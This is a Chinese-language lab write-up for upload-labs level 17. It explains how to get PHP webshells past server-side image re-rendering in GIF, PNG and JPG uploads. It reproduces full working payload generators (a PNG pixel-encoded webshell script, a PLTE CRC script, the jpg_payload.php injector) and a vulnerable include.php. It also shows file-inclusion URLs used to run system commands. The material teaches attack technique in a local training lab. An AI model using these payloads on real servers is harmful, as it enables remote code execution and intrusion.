upload-labs靶场-第十七关 二次渲染 上传校验 – 作者:知非知非知非

冰冰镇楼!!!

1627087046_60fb60c6911d4a0dfb01a.png!small?1627087047752

URL地址:长度好短!
http://localhost/upload-labs/upload/4759.jpg

查看提示:

1627087053_60fb60cdce4c9ea865fb4.png!small?1627087054990

看了大佬的WP,真的解决不了!?
按照大佬的思路,咱们先来源代码审计!!!看看有啥漏洞!!!

源代码如下:!!!!
$is_upload = false;
$msg = null;
if (isset($_POST[‘submit’])){
  // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
  $filename = $_FILES[‘upload_file’][‘name’];
  $filetype = $_FILES[‘upload_file’][‘type’];
  $tmpname = $_FILES[‘upload_file’][‘tmp_name’];

  $target_path=UPLOAD_PATH.’/’.basename($filename);

  // 获得上传文件的扩展名
  $fileext= substr(strrchr($filename,”.”),1);

  //判断文件后缀与类型,合法才进行上传操作
  if(($fileext == “jpg”) && ($filetype==”image/jpeg”)){
      if(move_uploaded_file($tmpname,$target_path)){
          //使用上传的图片生成新的图片
          $im = imagecreatefromjpeg($target_path);

          if($im == false){
              $msg = “该文件不是jpg格式的图片!”;
              @unlink($target_path);
          }else{
              //给新图片指定文件名
              srand(time());
              $newfilename = strval(rand()).”.jpg”;
              //显示二次渲染后的图片(使用用户上传图片生成的新图片)
              $img_path = UPLOAD_PATH.’/’.$newfilename;
              imagejpeg($im,$img_path);
              @unlink($target_path);
              $is_upload = true;
          }
      } else {
          $msg = “上传出错!”;
      }

  }else if(($fileext == “png”) && ($filetype==”image/png”)){
      if(move_uploaded_file($tmpname,$target_path)){
          //使用上传的图片生成新的图片
          $im = imagecreatefrompng($target_path);

          if($im == false){
              $msg = “该文件不是png格式的图片!”;
              @unlink($target_path);
          }else{
               //给新图片指定文件名
              srand(time());
              $newfilename = strval(rand()).”.png”;
              //显示二次渲染后的图片(使用用户上传图片生成的新图片)
              $img_path = UPLOAD_PATH.’/’.$newfilename;
              imagepng($im,$img_path);

              @unlink($target_path);
              $is_upload = true;               
          }
      } else {
          $msg = “上传出错!”;
      }

  }else if(($fileext == “gif”) && ($filetype==”image/gif”)){
      if(move_uploaded_file($tmpname,$target_path)){
          //使用上传的图片生成新的图片
          $im = imagecreatefromgif($target_path);
          if($im == false){
              $msg = “该文件不是gif格式的图片!”;
              @unlink($target_path);
          }else{
              //给新图片指定文件名
              srand(time());
              $newfilename = strval(rand()).”.gif”;
              //显示二次渲染后的图片(使用用户上传图片生成的新图片)
              $img_path = UPLOAD_PATH.’/’.$newfilename;
              imagegif($im,$img_path);

              @unlink($target_path);
              $is_upload = true;
          }
      } else {
          $msg = “上传出错!”;
      }
  }else{
      $msg = “只允许上传后缀为.jpg|.png|.gif的图片文件!”;
  }
}
}

看了大佬的WP:脑瓜子嗡嗡的!这个确实有点难!!

咱们先讲讲啥是二次渲染!!!!

有请工具人冰冰!!!

这是上传前的图片的属性!!!

1627087074_60fb60e24c7d57f2af560.png!small?1627087075404

接下来是上传后又下载下来图片的属性!!!

1627087082_60fb60ea0169471687865.png!small?1627087083370

可见水平分辨率和垂直分辨率的数值发生了变换!!!!

我们这里有一个图片马,内含php探针信息,我们先采用WINHEX对图片马进行查看!!!
在文件尾部,看到了php探针!!!!

1627087113_60fb6109ec941fccca900.png!small

我们把他上传上去,再下载下来,我们再查看一下php探针的位置!!!!
可见图片结尾处的php探针没了!!!

1627087148_60fb612cded7eeb8ffa03.png!small?1627087150008

这就是图片二次渲染的结果!!!

这里一共有三种上传的图片格式:分别为jpg,gif和png!

根据大佬的WP,gif修改最简单,

gif上传图片马

}else if(($fileext == “gif”) && ($filetype==”image/gif”)){
      if(move_uploaded_file($tmpname,$target_path)){
          $im = imagecreatefromgif($target_path);
             //imagecreatefromgif使用上传的图片生成新的图片
             //由文件或 URL 创建一个新图象。
          if($im == false){
              $msg = “该文件不是gif格式的图片!”;
              @unlink($target_path);
          }else{
              //给新图片指定文件名
              srand(time());
              $newfilename = strval(rand()).”.gif”;
              //strval获取变量的字符串值。
              //显示二次渲染后的图片(使用用户上传图片生成的新图片)
              $img_path = UPLOAD_PATH.’/’.$newfilename;
              imagegif($im,$img_path);
              //imagegif 输出图象到浏览器或文件。
              //imagegif(resource $image, string $filename = ?): bool
              //imagegif() 从 image 图像以 filename 为文件名创建一个 GIF 图像。
              //image 参数是 imagecreate() 或 imagecreatefrom* 函数的返回值。
              //图像格式为 GIF87a
              @unlink($target_path);
              $is_upload = true;
          }
      } else {
          $msg = “上传出错!”;
      }

第1行检测$fileext和$filetype是否为gif格式。然后第3行使用move_uploaded_file函数来做判断条件,如果成功将文件移动到$target_path,就会进入二次渲染的代码,反之上传失败。在这里有一个问题,如果作者是想考察绕过二次渲染的话,在move_uploaded_file($tmpname,$target_path)返回true的时候,就已经成功将图片马上传到服务器了,所以下面的二次渲染,并不会影响到图片马的上传。如果是想考察文件后缀和content-type的话,那么二次渲染的代码就很多余。由于在二次渲染时重新生成了文件名,所以可以根据上传后的文件名,来判断上传的图片是二次渲染后生成的图片还是直接由move_uploaded_file函数移动的图片。我看过的writeup都是直接由move_uploaded_file函数上传的图片马.今天我们把move_uploaded_file这个判断条件去除,然后尝试上传图片马。

这里我们还是老套路,生成GIF图片马!!!!

1627087172_60fb6144a41ed8144ff6b.png!small?1627087173761

生成的图片的探针在这!!

1627087180_60fb614c05771c5a59c74.png!small?1627087181135

我们把他上传上去!!!

1627087186_60fb6152a0b31ec481c51.png!small?1627087187793

这里需要上传一个符合条件的GIF文件,然后把上传的文件下载下来与上传前的文件进行对比。

找到二次渲染并没有修改的地方,插入php探针或者一句话马!

一已插入php探针如下:

1627087194_60fb615a72e7ec01e97b8.png!small?1627087195560

上传的地址为:http://localhost/upload-labs/upload/28287.gif
文件包含漏洞链接如下:
http://localhost/upload-labs/include.php

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header(“Content-Type:text/html;charset=utf-8”);
$file = $_GET[‘file’];
if(isset($file)){
  include $file;
}else{
  show_source(__file__);
}
?>

构造攻击payload!!!

http://localhost/upload-labs/include.php?file=./upload/28287.gif

1627087218_60fb6172ec60fa0e433bd.png!small?1627087220055

成功弹出!!!!

1627087224_60fb6178c1800c4909a2a.png!small?1627087225924

png上传图片马:

小知识:png文件组成

png图片由3个以上的数据块组成。

PNG定义了两种类型的数据块,
一种是称为关键数据块(critical chunk),这是标准的数据块,
一种叫做辅助数据块(ancillary chunks),这是可选的数据块。
关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们。

数据块结构:

1627087233_60fb618149fb709a77b05.png!small?1627087234386

CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。CRC具体算法定义在ISO 3309和ITU-T V.42中,其值按下面的CRC码生成多项式进行计算。
x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1

分析数据块:

IHDR:数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。文件头数据块由13字节组成,它的格式如下图所示。

1627087241_60fb618913dbb58879462.png!small?1627087242259

PLTE:调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。
IDAT:图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像。
IEND:图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的:00 00 00 00 49 45 4E 44 AE 42 60 82

写入php代码:
在网上找到了两种方式来制作绕过二次渲染的png木马。

写入PLTE数据块
php底层在对PLTE数据块验证的时候,主要进行了CRC校验.所以可以再chunk data域插入php代码,然后重新计算相应的crc值并修改即可。

这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03为索引彩色图像。这个图可是真难找!!!

1627087257_60fb619938c7ab9dce46f.png!small?1627087258306

在PLTE数据块写入php代码:

1627087266_60fb61a20f59dc47d90c2.png!small?1627087267370

计算PLTE数据块的CRC

CRC脚本:
import binascii
import re

png = open(r’Big.png’,’rb’)
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)

”’ PLTE crc ”’
data =  ‘504c5445’+ re.findall(‘504c5445(.*?)49444154’,hexstr)[0]
crc = binascii.crc32(data[:-16].decode(‘hex’)) & 0xffffffff
print hex(crc)

运行得到重新生成的PLTE数据块的CRC:

1627087280_60fb61b01af0916ce74b8.png!small?1627087281214

CRC值为:0x7674a128L

修改CRC值

1627087292_60fb61bc22a6b2668471c.png!small?1627087293366

验证:将修改后的png图片上传后,下载到本地打开

1627087299_60fb61c37067f32c3ca75.png!small?1627087300696

接下来才是关键:

这里有国外大牛写的脚本,直接拿来运行即可:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
         0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
         0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
         0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
         0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
         0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
         0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
         0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
 $r = $p[$y];
 $g = $p[$y+1];
 $b = $p[$y+2];
 $color = imagecolorallocate($img, $r, $g, $b);
 imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,’./1.png’);
?>

1627087312_60fb61d0746f3702e4e6c.png!small?1627087313817

运行完成后,生成1.png,其包含一句话木马!!!

1627087318_60fb61d6af563ce0c02cf.png!small?1627087319803

上传成功!!!

1627087327_60fb61dfb8be45da26aa3.png!small?1627087328870

上传后,下载下来:使用notepad+打开!!!一句话木马还在!!

1627087334_60fb61e6bc3d0d360d02b.png!small?1627087335855

链接地址为:

http://localhost/upload-labs/upload/21105.png

文件上传漏洞链接:

http://localhost/upload-labs/include.php

构造payload:

http://localhost/upload-labs/include.php?file=./upload/21105.png

1627087343_60fb61ef1a6b7997a8397.png!small?1627087344279

向大佬请教的结果:可以通过 0传函数名 1传参数 实现构造!!

执行系统命令:

1627087349_60fb61f5c40bde2b1ed43.png!small?1627087350907

获取php探针:

1627087355_60fb61fbea039be8ef8d2.png!small?1627087357071

jpg上传图片马:

这里也采用国外大牛编写的脚本jpg_payload.php:

<?php
  /*

  The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
  It is necessary that the size and quality of the initial image are the same as those of the processed image.

  1) Upload an arbitrary image via secured files upload script
  2) Save the processed image and launch:
  jpg_payload.php <jpg_name.jpg>

  In case of successful injection you will get a specially crafted image, which should be uploaded again.

  Since the most straightforward injection method is used, the following problems can occur:
  1) After the second processing the injected data may become partially corrupted.
  2) The jpg_payload.php script outputs “Something’s wrong”.
  If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

  Sergey Bobrov @Black2Fan.

  See also:
  https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

  */

  $miniPayload = “<?=phpinfo();?>”;

  if(!extension_loaded(‘gd’) || !function_exists(‘imagecreatefromjpeg’)) {
      die(‘php-gd is not installed’);
  }

  if(!isset($argv[1])) {
      die(‘php jpg_payload.php <jpg_name.jpg>’);
  }

  set_error_handler(“custom_error_handler”);

  for($pad = 0; $pad < 1024; $pad++) {
      $nullbytePayloadSize = $pad;
      $dis = new DataInputStream($argv[1]);
      $outStream = file_get_contents($argv[1]);
      $extraBytes = 0;
      $correctImage = TRUE;

      if($dis->readShort() != 0xFFD8) {
          die(‘Incorrect SOI marker’);
      }

      while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
          $marker = $dis->readByte();
          $size = $dis->readShort() – 2;
          $dis->skip($size);
          if($marker === 0xDA) {
              $startPos = $dis->seek();
              $outStreamTmp = 
                  substr($outStream, 0, $startPos) . 
                  $miniPayload . 
                  str_repeat(“\0”,$nullbytePayloadSize) . 
                  substr($outStream, $startPos);
              checkImage(‘_’.$argv[1], $outStreamTmp, TRUE);
              if($extraBytes !== 0) {
                  while((!$dis->eof())) {
                      if($dis->readByte() === 0xFF) {
                          if($dis->readByte !== 0x00) {
                              break;
                          }
                      }
                  }
                  $stopPos = $dis->seek() – 2;
                  $imageStreamSize = $stopPos – $startPos;
                  $outStream = 
                      substr($outStream, 0, $startPos) . 
                      $miniPayload . 
                      substr(
                          str_repeat(“\0”,$nullbytePayloadSize).
                              substr($outStream, $startPos, $imageStreamSize),
                          0,
                          $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                              substr($outStream, $stopPos);
              } elseif($correctImage) {
                  $outStream = $outStreamTmp;
              } else {
                  break;
              }
              if(checkImage(‘payload_’.$argv[1], $outStream)) {
                  die(‘Success!’);
              } else {
                  break;
              }
          }
      }
  }
  unlink(‘payload_’.$argv[1]);
  die(‘Something\’s wrong’);

  function checkImage($filename, $data, $unlink = FALSE) {
      global $correctImage;
      file_put_contents($filename, $data);
      $correctImage = TRUE;
      imagecreatefromjpeg($filename);
      if($unlink)
          unlink($filename);
      return $correctImage;
  }

  function custom_error_handler($errno, $errstr, $errfile, $errline) {
      global $extraBytes, $correctImage;
      $correctImage = FALSE;
      if(preg_match(‘/(\d+) extraneous bytes before marker/’, $errstr, $m)) {
          if(isset($m[1])) {
              $extraBytes = (int)$m[1];
          }
      }
  }

  class DataInputStream {
      private $binData;
      private $order;
      private $size;

      public function __construct($filename, $order = false, $fromString = false) {
          $this->binData = ”;
          $this->order = $order;
          if(!$fromString) {
              if(!file_exists($filename) || !is_file($filename))
                  die(‘File not exists [‘.$filename.’]’);
              $this->binData = file_get_contents($filename);
          } else {
              $this->binData = $filename;
          }
          $this->size = strlen($this->binData);
      }

      public function seek() {
          return ($this->size – strlen($this->binData));
      }

      public function skip($skip) {
          $this->binData = substr($this->binData, $skip);
      }

      public function readByte() {
          if($this->eof()) {
              die(‘End Of File’);
          }
          $byte = substr($this->binData, 0, 1);
          $this->binData = substr($this->binData, 1);
          return ord($byte);
      }

      public function readShort() {
          if(strlen($this->binData) < 2) {
              die(‘End Of File’);
          }
          $short = substr($this->binData, 0, 2);
          $this->binData = substr($this->binData, 2);
          if($this->order) {
              $short = (ord($short[1]) << 8) + ord($short[0]);
          } else {
              $short = (ord($short[0]) << 8) + ord($short[1]);
          }
          return $short;
      }

      public function eof() {
          return !$this->binData||(strlen($this->binData) === 0);
      }
  }
?>

使用方法

准备:

随便找一个jpg图片,先上传至服务器然后再下载到本地保存为1.jpg.

插入php代码

使用脚本处理17.jpg,命令php jpg.php payload_17.jpg

1627087378_60fb6212aef1b089af6bc.png!small?1627087379842

原图:

1627087385_60fb62199182842cece27.png!small?1627087386859

处理后:

1627087390_60fb621e9dc605415c0d3.png!small

使用WINHEX打开,就可以看到插入的php代码.

1627087404_60fb622c85d1421953ae0.png!small?1627087405698

上传图片马
将生成的payload_17.jpg上传.

1627087412_60fb6234623ec4fef5ce4.png!small?1627087413577

验证
将上传的图片再次下载到本地,使用WINHEX打开:
我的图片翻车了!!!!
图片里面没有了php探针!!!!
需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片。

我这里直接用了大佬的图片:

1627087421_60fb623d40ab31e729722.png!small?1627087422404

处理后的图片是这样的!!!

1627087428_60fb62442958f5494b6af.png!small?1627087429294

1627087435_60fb624b1370564e1944d.png!small?1627087436197

1627087441_60fb62518409271550826.png!small?1627087442689

用了大佬的图片,还是没有探针,啥情况!!!

攻击payload:
http://localhost/upload-labs/include.php?file=./upload/14015.jpg

可以看到,php代码没有被去除.
证明我们成功上传了含有php代码的图片。

终于搞定了!!!
经过不懈的尝试!!!!

upload-labs-Pass16-master\jpg\demo

中的图片payload_1.jpg可以实现上传下载后仍然可以保留php探针文件!!!!

大佬的地址:
https://xz.aliyun.com/t/2657

来源:freebuf.com 2021-07-24 08:48:40 by: 知非知非知非

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论